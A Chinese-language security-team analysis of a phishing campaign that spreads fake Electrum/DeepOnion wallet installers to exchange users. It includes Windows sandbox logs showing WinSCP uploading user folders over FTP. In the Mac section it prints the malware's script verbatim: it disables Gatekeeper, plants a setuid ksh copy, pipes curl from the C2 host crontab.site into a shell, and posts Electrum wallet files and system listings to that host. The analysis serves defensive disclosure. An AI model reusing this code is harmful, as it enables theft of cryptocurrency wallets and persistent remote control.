近日，有专业黑产团队针对交易所用户进行大规模邮件批量撒网钓鱼攻击。慢雾建议用户认清官方邮箱后缀，谨慎对待未知来源邮件里的链接与附件。

原文标题：《慢雾：伪 Electrum 鱼叉钓鱼攻击分析》
撰文：爱上平顶山，就职于慢雾安全团队

近日，慢雾安全团队收到情报，有专业黑产团队针对交易所用户进行大规模邮件批量撒网钓鱼攻击。

钓鱼邮件如图：

慢雾安全团队收到情报后，第一时间展开分析。

以下是详细分析过程：

攻击细节

我们点击跳转目标页面：

从上图可以看到，针对 Mac OS X / macOS / Windows 不同系统都给出了下载链接；链接指向黑客木马文件存放位置。

于 3 天前，创建的账号，里面存在两个项目：

• b*****.github.io
• b*****t

上图样本 「Bi****-Setup.exe」 是 Windows 下的恶意文件。

「index.html」 是一个仿冒的升级提示页面，诱导用户升级下载。

详细分析

接下来我们对 Windows 端和 Mac 端分别进行分析：

1.Windows 端

下图为样本 「Bi****-Setup.exe」 数字签名：

（1） EXE 文件基本信息

• 文件名称：B-KYC-Setup.exe
• 子文件信息：
• script.txt / 877da6cdd4eb284e2d8887b24a24168c / Unknown
• setup.exe / fe1818a5e8aed139a8ccf9f60312bb30 / EXE
• WinSCP.exe / e71c39688fad97b66af3e297a04c3663 / EXE

（2）关键行为

• 行为描述： 屏蔽窗口关闭消息
• 详情信息：hWnd = 0x00030336, Text = Deep Onion Setup: Completed, ClassName = #32770

（3）进程行为

• 行为描述： 创建本地线程
• 详情信息：

    TargetProcess: %temp%\.exe, InheritedFromPID = 2000, ProcessID = 2888, ThreadID = 2948, StartAddress = 00405209, Parameter = 0001034A  
    TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3140, ThreadID = 3188, StartAddress = 008B9F7C, Parameter = 00000000  
    TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3140, ThreadID = 3192, StartAddress = 00819BF4, Parameter = 0272E170  
    TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3164, ThreadID = 3196, StartAddress = 008B9F7C, Parameter = 00000000  
    TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3164, ThreadID = 3200, StartAddress = 00819BF4, Parameter = 0272E270  
    TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3172, ThreadID = 3232, StartAddress = 008B9F7C, Parameter = 00000000  
    TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3120, ThreadID = 3236, StartAddress = 008B9F7C, Parameter = 00000000  
    TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3172, ThreadID = 3240, StartAddress = 00819BF4, Parameter = 0272E170  
    TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3120, ThreadID = 3244, StartAddress = 00819BF4, Parameter = 0272E170  
    TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3180, ThreadID = 3248, StartAddress = 008B9F7C, Parameter = 00000000  
    TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3180, ThreadID = 3252, StartAddress = 00819BF4, Parameter = 0272E170  
    TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3140, ThreadID = 3264, StartAddress = 009B8C28, Parameter = 026F4B90  
    TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3164, ThreadID = 3280, StartAddress = 009B8C28, Parameter = 026F4C90  
    TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3172, ThreadID = 3284, StartAddress = 009B8C28, Parameter = 026F4B90  
    TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3120, ThreadID = 3352, StartAddress = 009B8C28, Parameter = 026F4B90

（4）行为描述： 创建新文件进程

详情信息：

    [0x00000c30]ImagePath = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe, CmdLine = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe" /ini=null /script="script.txt" /log="winscp_documents.log" /loglevel=0 /parameter "C:\Documents and Settings\Administrator\My Documents" "09-06-2020-4:51:51_documents"  
    [0x00000c44]ImagePath = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe, CmdLine = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe" /ini=null /script="script.txt" /log="winscp_appdata.log" /loglevel=0 /parameter "C:\Documents and Settings\Administrator\Application Data" "09-06-2020-4:51:51_appdata"  
    [0x00000c5c]ImagePath = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe, CmdLine = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe" /ini=null /script="script.txt" /log="winscp_localappdata.log" /loglevel=0 /parameter "C:\Documents and Settings\Administrator\Local Settings\Application Data" "09-06-2020-4:51:51_localappdata"  
    [0x00000c64]ImagePath = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe, CmdLine = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe" /ini=null /script="script.txt" /log="winscp_onedrive.log" /loglevel=0 /parameter "C:\Documents and Settings\Administrator\OneDrive" "09-06-2020-4:51:51_onedrive"  
    [0x00000c6c]ImagePath = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe, CmdLine = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe" /ini=null /script="script.txt" /log="winscp_pictures.log" /loglevel=0 /parameter "C:\Documents and Settings\Administrator\Pictures" "09-06-2020-4:51:51_pictures"

（5）文件行为

行为描述： 创建文件

详情信息：

    C:\Documents and Settings\Administrator\Local Settings\Temp\nsi9.tmp  
    C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\WinSCP.exe  
    C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\script.txt  
    C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\setup.exe  
    C:\Documents and Settings\Administrator\Local Settings\Temp\nsyA.tmp  
    C:\Documents and Settings\Administrator\Local Settings\Temp\nsyA.tmp\System.dll  
    C:\Documents and Settings\Administrator\Application Data\winscp.rnd  
    C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\winscp_appdata.log  
    C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\winscp_onedrive.log  
    C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\winscp_localappdata.log  
    C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\winscp_documents.log  
    C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\winscp_pictures.log  
    C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\null

（6）行为描述： 创建可执行文件

详情信息：

    C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\setup.exe  
    C:\Documents and Settings\Administrator\Local Settings\Temp\nsyA.tmp\System.dll

（7）行为描述： 覆盖已有文件

详情信息：

    C:\Documents and Settings\Administrator\Application Data\winscp.rnd  
    C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\null

（8）行为描述： 查找文件

详情信息：

    FileName = C:\Documents and Settings  
    FileName = C:\Documents and Settings\Administrator  
    FileName = C:\Documents and Settings\Administrator\Local Settings  
    FileName = C:\Documents and Settings\Administrator\Local Settings\Temp  
    FileName = C:\Documents and Settings\Administrator\Local Settings\%temp%  
    FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\nsyA.tmp  
    FileName = C:\DOCUME~1  
    FileName = C:\DOCUME~1\ADMINI~1  
    FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1  
    FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp  
    FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe  
    FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.zh-CN  
    FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.zh-Hans  
    FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.zh  
    FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.CHS

（9）行为描述： 删除文件

详情信息：

    C:\Documents and Settings\Administrator\Local Settings\Temp\nsi9.tmp  
    C:\Documents and Settings\Administrator\Local Settings\Temp\nsyA.tmp

（10）行为描述： 修改文件内容

详情信息：

    C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\WinSCP.exe ---> Offset = 0C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\WinSCP.exe ---> Offset = 32768C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\WinSCP.exe ---> Offset = 33203C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\WinSCP.exe ---> Offset = 65971C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\WinSCP.exe ---> Offset = 66905C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\script.txt ---> Offset = 0C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\setup.exe ---> Offset = 0C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\setup.exe ---> Offset = 24146C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\setup.exe ---> Offset = 44980C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\setup.exe ---> Offset = 60884C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\setup.exe ---> Offset = 93652C:\Documents and Settings\Administrator\Local Settings\Temp\nsyA.tmp\System.dll ---> Offset = 0C:\Documents and Settings\Administrator\Application Data\winscp.rnd ---> Offset = 0C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\winscp_appdata.log ---> Offset = 0C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\winscp_appdata.log ---> Offset = 102

（11）网络行为

行为描述： 建立到一个指定的套接字连接

详情信息：

IP:**.138.40.**:128, SOCKET = 0x000001d0

IP:**.138.40.**:128, SOCKET = 0x000001cc

我们测试打开，自解压 :

结果发现用于上传本地用户信息的 FTP 账号密码，同时有一个正常的 Electrum Installer 文件，一旦用户安装后使用， 在 Electrum 下输入的敏感信息将被发送到远程恶意 FTP 服务器接收。

2020 年 06 月 02 日 开始，已经有用户陆续中招。

2.Mac 端

（1）安装命令：

（2）脚本内容：

（3）恶意地址：https://github.com/deep-onion

(模仿 知名项目 的 Github 地址 )

恶意地址下也有两个项目：

deep-onion.github.io

wallet

https://github.com/deep-onion/deep-onion.github.io

此文件此处不做分析。

（4） Mac 端

https://github.com/deep-onion/wallet

恶意文件是 DeepOnion

执行恶意脚本后是一系列恶意操作，

如：

try {  

 shell_exec("spctl --master-disable");  

 $ksh = trim(shell_exec("which ksh"));  
 shell_exec("cp $ksh $homedir/.ksh");  
 shell_exec("cd $homedir && chown root:wheel .ksh && chmod a+rwxs .ksh");  

shell_exec("cd $homedir && echo '#!/bin/bash' > .strtp && echo 'sleep 300' >> .strtp && echo 'curl http://crontab.site/?log=startup\&key;=startup\&id;=$id | $homedir/.ksh' >> .strtp && chown root:wheel .strtp && chmod a+x .strtp");  

try {   
$dir = "$homedir/.electrum/wallets";  
if (file_exists($dir)) {      
$files = scandir($dir);      
foreach ($files as $file) {        
shell_exec("curl -s --data-binary \"@$dir/$file\" http://crontab.site/?log=startup\&key;=$file\&id;=$id");    
}  
}
} catch (Exception $e) {   
shell_exec('echo "Caught exception: ' . $e->getMessage() . '"' . " >> $log");
}  

shell_exec("curl -s --data-binary \"@$log\" http://crontab.site/?log=startup\&key;=log\&id;=$id");  

whoami >> /tmp/cron.log
ls -al /Users/ >> /tmp/cron.log
ls -al $HOMEDIR >> /tmp/cron.log
curl --data-binary "@/tmp/cron.log" http://crontab.site/?log=startup\&key;=cron.log\&id;=$UID

大致流程

通过以上一些列操作，从而盗取用户隐私信息。

备注：

• C2 信息：crontab.site
• 邮箱 alashanvinov@yandex.ru
• phone_tag +7.9453949549
• 注册时间 2020-04-20 17:47:03
• 过期时间 2021-04-20 23:59:59
• 更新时间 2020-04-20 17:47:04

慢雾建议

针对本次攻击事件慢雾安全团队建议：

• 认清官方邮箱后缀
• 谨慎对待未知来源邮件里的链接与附件
• 怀疑一切以「升级」、「账号异常」等理由的邮件
• 对于需要处理但可疑的邮件内容，需及时咨询专业人员